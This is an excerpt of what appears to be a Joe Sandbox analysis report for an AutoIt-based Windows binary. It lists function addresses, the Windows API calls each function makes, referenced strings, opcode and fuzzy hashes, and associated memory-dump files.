Opcode ID: f7181263f99e540ff894a2916e5ab595f415bfd8fabf5f882873d365c12afd83
Instruction ID: f4f44b87e7a7f2cad65053029bfcf22b073f2c3f642cc767a77613655dc20213
Opcode Fuzzy Hash: f7181263f99e540ff894a2916e5ab595f415bfd8fabf5f882873d365c12afd83
Instruction Fuzzy Hash: F1F028319056013BC6322339BC06E5A26A9AFC17A4F34E11DFB2CB21E6EF2088825260

Function 00ED8A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00E59639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00E59693
Part of subcall function 00E59639: SelectObject.GDI32(?,00000000), ref: 00E596A2
Part of subcall function 00E59639: BeginPath.GDI32(?), ref: 00E596B9
Part of subcall function 00E59639: SelectObject.GDI32(?,00000000), ref: 00E596E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00ED8A4E
LineTo.GDI32(?,00000003,00000000), ref: 00ED8A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00ED8A70
LineTo.GDI32(?,00000000,00000003), ref: 00ED8A80
EndPath.GDI32(?), ref: 00ED8A90
StrokePath.GDI32(?), ref: 00ED8AA0

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 92811e0ce3a2b15a05f74afbbe62621b5e33b1af4d5697fa722a79b229afbf88
Instruction ID: 3d8d872bbe340496467df8325d04dcae833a2bf500abad9110ff38416d0d15c4
Opcode Fuzzy Hash: 92811e0ce3a2b15a05f74afbbe62621b5e33b1af4d5697fa722a79b229afbf88
Instruction Fuzzy Hash: 9511097600114DFFDF129F91EC88EEA7F6CEB08394F108012BA19AA1A1C7719D59DBA0

Function 00EA51FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00EA5218
GetDeviceCaps.GDI32(00000000,00000058), ref: 00EA5229
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00EA5230
ReleaseDC.USER32(00000000,00000000), ref: 00EA5238
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00EA524F
MulDiv.KERNEL32(000009EC,00000001,?), ref: 00EA5261

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 7e6cacf4d2f4e7872cb65bbdbaceb291baddaf895ab6bb396414af7fcd189048
Instruction ID: 5ee6e5e43251f6c8ee21dd1dbc540f1468e018313bd64d945987c263a9ebe22b
Opcode Fuzzy Hash: 7e6cacf4d2f4e7872cb65bbdbaceb291baddaf895ab6bb396414af7fcd189048
Instruction Fuzzy Hash: 49018F75A01719BFEB109BA69C49B4EBFB8EF48751F144066FA04BB290D6709804CBA0

Function 00E41BC3 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00E41BF4
MapVirtualKeyW.USER32(00000010,00000000), ref: 00E41BFC
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00E41C07
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00E41C12
MapVirtualKeyW.USER32(00000011,00000000), ref: 00E41C1A
MapVirtualKeyW.USER32(00000012,00000000), ref: 00E41C22

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: f2c31b82b125c18e0bd3086d108db1b0c7c5801e9966e094baafa347a8979dcb
Instruction ID: 2e5cb0a1c8bee41dca7816845741dd2ec213c222263cda0caf1d0ddbc3b1d28e
Opcode Fuzzy Hash: f2c31b82b125c18e0bd3086d108db1b0c7c5801e9966e094baafa347a8979dcb
Instruction Fuzzy Hash: 46016CB090275A7DE3008F5A8C85B52FFA8FF19754F00411B915C47941C7F5A864CBE5

Function 00EAEB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00EAEB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00EAEB46
GetWindowThreadProcessId.USER32(?,?), ref: 00EAEB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00EAEB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00EAEB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00EAEB75

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: e4268b1669d5fc7ef357529e9ed540a846981f4a7a119c641700315fedf604ac
Instruction ID: 150cd661603dbfd7cf676f9841ff766ae6dbcb98c4eb4d3ad65efa942c1276ed
Opcode Fuzzy Hash: e4268b1669d5fc7ef357529e9ed540a846981f4a7a119c641700315fedf604ac
Instruction Fuzzy Hash: CFF06D72142129BFEA205B53AC0DEAF3B7CEBCAF51F10015AF611E109097A05A05C6B5

Function 00E97439 Relevance: 9.0, APIs: 6, Instructions: 37windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 00E97452
SendMessageW.USER32(?,00001328,00000000,?), ref: 00E97469
GetWindowDC.USER32(?), ref: 00E97475
GetPixel.GDI32(00000000,?,?), ref: 00E97484
ReleaseDC.USER32(?,00000000), ref: 00E97496
GetSysColor.USER32(00000005), ref: 00E974B0

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: f2e48a5e8a203443d3c33271ce0f9735b5c93dfd994dafb16a654df9d47eecf3
Instruction ID: 6b1abf6515557d62da2d50c6614d7234559e2bc744a6dd33fd0f560afca48da2
Opcode Fuzzy Hash: f2e48a5e8a203443d3c33271ce0f9735b5c93dfd994dafb16a654df9d47eecf3
Instruction Fuzzy Hash: EC018B31405216EFDB105FA5EC08BEE7BB6FB04751F210161F925B21A1CB311E49EB51

Function 00EA1874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00EA187F
UnloadUserProfile.USERENV(?,?), ref: 00EA188B
CloseHandle.KERNEL32(?), ref: 00EA1894
CloseHandle.KERNEL32(?), ref: 00EA189C
GetProcessHeap.KERNEL32(00000000,?), ref: 00EA18A5
HeapFree.KERNEL32(00000000), ref: 00EA18AC

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 715406c03e5c085824a071c9258aaedfa3a43c1dddc250e49885c144f7f14695
Instruction ID: d614da822dc974fa651dc61df538268893f676eacd53a44d8fa61df08f34cb84
Opcode Fuzzy Hash: 715406c03e5c085824a071c9258aaedfa3a43c1dddc250e49885c144f7f14695
Instruction Fuzzy Hash: 4BE0ED36046112FFDB016FA2FD0C905BF39FF497627208222F225A10B1CB325464DF50

Function 00EC7B7E Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 00E60242: EnterCriticalSection.KERNEL32(00F1070C,00F11884,?,?,00E5198B,00F12518,?,?,?,00E412F9,00000000), ref: 00E6024D
Part of subcall function 00E60242: LeaveCriticalSection.KERNEL32(00F1070C,?,00E5198B,00F12518,?,?,?,00E412F9,00000000), ref: 00E6028A

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

Part of subcall function 00E600A3: __onexit.LIBCMT ref: 00E600A9

__Init_thread_footer.LIBCMT ref: 00EC7BFB

Part of subcall function 00E601F8: EnterCriticalSection.KERNEL32(00F1070C,?,?,00E58747,00F12514), ref: 00E60202
Part of subcall function 00E601F8: LeaveCriticalSection.KERNEL32(00F1070C,?,00E58747,00F12514), ref: 00E60235

Strings

G, xrefs: 00EC7C7F
Variable must be of type 'Object'., xrefs: 00EC7C3A
+T, xrefs: 00EC7E2E
5, xrefs: 00EC7C78

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
String ID: +T$5$G$Variable must be of type 'Object'.
API String ID: 535116098-4125810065
Opcode ID: 14645f8bb524c3690069c70e6fb3d827ee059f11d4ef830ac99c2613ef12b7bc
Instruction ID: 10eb7524a06a5a67d28265376f074236a43182abe8de1e3c9cfc2b4e1cdba1f7
Opcode Fuzzy Hash: 14645f8bb524c3690069c70e6fb3d827ee059f11d4ef830ac99c2613ef12b7bc
Instruction Fuzzy Hash: 2F916C70A04209AFCB14EF54DA91EADBBB1AF49304F14905DF8467B292DB32AE42DB51

Function 00EAC5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E47620: _wcslen.LIBCMT ref: 00E47625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00EAC6EE
_wcslen.LIBCMT ref: 00EAC735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00EAC79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00EAC7CA

Strings

0, xrefs: 00EAC6AF

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: ebbbfc7e8af941bb45585bd3c1cf0e9c742d942794df9a17a128b3b3b99320d0
Instruction ID: cbc50b5b6453b23a3a1e6e7a0336678204d605d018395e37335225295087895a
Opcode Fuzzy Hash: ebbbfc7e8af941bb45585bd3c1cf0e9c742d942794df9a17a128b3b3b99320d0
Instruction Fuzzy Hash: 2351F1716043019BD715DF38C845BAB77E4AF8E318F242A2AF991FB190DB60E844CF92

Function 00ECAD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 00ECAEA3

Part of subcall function 00E47620: _wcslen.LIBCMT ref: 00E47625

GetProcessId.KERNEL32(00000000), ref: 00ECAF38
CloseHandle.KERNEL32(00000000), ref: 00ECAF67

Strings

@, xrefs: 00ECAE72
<, xrefs: 00ECAE6B

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: f4d990de4cb5c889cb0b02d9fe75d04fdd047ec7dcb5efe6f868fc15c2811c1e
Instruction ID: be7966c8a278d4893d5704f8a0107b02a26ef6b9975dee78fced07550e577778
Opcode Fuzzy Hash: f4d990de4cb5c889cb0b02d9fe75d04fdd047ec7dcb5efe6f868fc15c2811c1e
Instruction Fuzzy Hash: 7F715470A002199FCB14DF54D584A9EBBF1EF08318F0894ADE856BB352CB35ED46CB91

Function 00EA719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00EA7206
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00EA723C
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00EA724D
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00EA72CF

Strings

DllGetClassObject, xrefs: 00EA7242

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 4f028085f7fdb0b7a35351b5efafca64da0cf17e9a8bda4de1e5ac6f21c51942
Instruction ID: 977ad8cc838fc0e221e033bbc923bb2a4ae59e945a5346e7ca7e94f7752afa8f
Opcode Fuzzy Hash: 4f028085f7fdb0b7a35351b5efafca64da0cf17e9a8bda4de1e5ac6f21c51942
Instruction Fuzzy Hash: D5418EB1604204AFDB15CF54CC84B9A7BB9EF49314F2490AABD45EF21AD7B0E945CBA0

Function 00ED3D7C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00ED3E35
IsMenu.USER32(?), ref: 00ED3E4A
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00ED3E92
DrawMenuBar.USER32 ref: 00ED3EA5

Strings

0, xrefs: 00ED3D89

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID: 0
API String ID: 3076010158-4108050209
Opcode ID: 89dd0c6610d5b7896fd7e017023fb927689fe4c993ba2fe0caa38c8993cb43ed
Instruction ID: fc1d7419be2efa0cd654330377cb68e221dd8fd4654fc2a707edc2fd3b4fff32
Opcode Fuzzy Hash: 89dd0c6610d5b7896fd7e017023fb927689fe4c993ba2fe0caa38c8993cb43ed
Instruction Fuzzy Hash: 2A416875A01309AFDB10DF60E884AEABBB9FF48354F04512AED05A7390D730AE46CF51

Function 00EA1DE2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

Part of subcall function 00EA3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00EA3CCA

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00EA1E66
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00EA1E79
SendMessageW.USER32(?,00000189,?,00000000), ref: 00EA1EA9

Part of subcall function 00E46B57: _wcslen.LIBCMT ref: 00E46B6A

Strings

ComboBox, xrefs: 00EA1DF0
ListBox, xrefs: 00EA1E25

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend$_wcslen$ClassName
String ID: ComboBox$ListBox
API String ID: 2081771294-1403004172
Opcode ID: d0adc29afe2c75e702762ceeaa8e9a5125e7489b8eb002ac2d5d123c47d90968
Instruction ID: dacf1ac69f920cf170e19436c7e464cbcfd6e8a580e21d2cb6399e3df644d4cc
Opcode Fuzzy Hash: d0adc29afe2c75e702762ceeaa8e9a5125e7489b8eb002ac2d5d123c47d90968
Instruction Fuzzy Hash: 24212771A00104BEDB14AB64EC46CFFBBF9DF4A3A4F10A119F825BB1E1DB346909D621

Function 00ED2F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00ED2F8D
LoadLibraryW.KERNEL32(?), ref: 00ED2F94
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00ED2FA9
DestroyWindow.USER32(?), ref: 00ED2FB1

Strings

SysAnimate32, xrefs: 00ED2F68

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: 9349e014e0ce185d58f7e3685ac2ab1c88fca2f51a8ecaf3a2c6cf7fda0ecd43
Instruction ID: b71acb02d47604ac5bd48fb0be1ee07bfae6c61e0688dfc2a78c68a40d7f74ba
Opcode Fuzzy Hash: 9349e014e0ce185d58f7e3685ac2ab1c88fca2f51a8ecaf3a2c6cf7fda0ecd43
Instruction Fuzzy Hash: 2C219F71204205AFEB104F64DC80EBB37B9EB69368F106A1EFA50F2290D772DC52A760

Function 00E64D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00E64D1E,00E728E9,(,00E64CBE,00000000,00F088B8,0000000C,00E64E15,(,00000002), ref: 00E64D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00E64DA0
FreeLibrary.KERNEL32(00000000,?,?,?,00E64D1E,00E728E9,(,00E64CBE,00000000,00F088B8,0000000C,00E64E15,(,00000002,00000000), ref: 00E64DC3

Strings

CorExitProcess, xrefs: 00E64D98
mscoree.dll, xrefs: 00E64D86

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 961263a0705ac434497514321bf30bba9a01d767c6c041685291de66b7b8a5d8
Instruction ID: c7322128ec536831a87c3b8e78fd65c9853a6815767fe1da06cd6706fb20e3f2
Opcode Fuzzy Hash: 961263a0705ac434497514321bf30bba9a01d767c6c041685291de66b7b8a5d8
Instruction Fuzzy Hash: A7F0AF74A41219BFDB109F91EC09BAEBBB8EF44795F1001A5F805B22A0CF705984DA91

Function 00E44E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00E44EDD,?,00F11418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00E44E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00E44EAE
FreeLibrary.KERNEL32(00000000,?,?,00E44EDD,?,00F11418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00E44EC0

Strings

Wow64DisableWow64FsRedirection, xrefs: 00E44EA8
kernel32.dll, xrefs: 00E44E94

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: 0d49e1595c5238e619a4dec6f29f2cc96fdf1d5d982c0dea5d696a144cfc7cf5
Instruction ID: a5b8a858ae6d76e5c5b7353a520cca2b82410db50d34fdd949574660c2285df4
Opcode Fuzzy Hash: 0d49e1595c5238e619a4dec6f29f2cc96fdf1d5d982c0dea5d696a144cfc7cf5
Instruction Fuzzy Hash: BFE08635B036339FD22117267C1CB6F6668EF81BA67151117FC00F6290DF60CD06C0A2

Function 00E44E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00E83CDE,?,00F11418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00E44E62
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00E44E74
FreeLibrary.KERNEL32(00000000,?,?,00E83CDE,?,00F11418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00E44E87

Strings

Wow64RevertWow64FsRedirection, xrefs: 00E44E6E
kernel32.dll, xrefs: 00E44E5B

Memory Dump Source

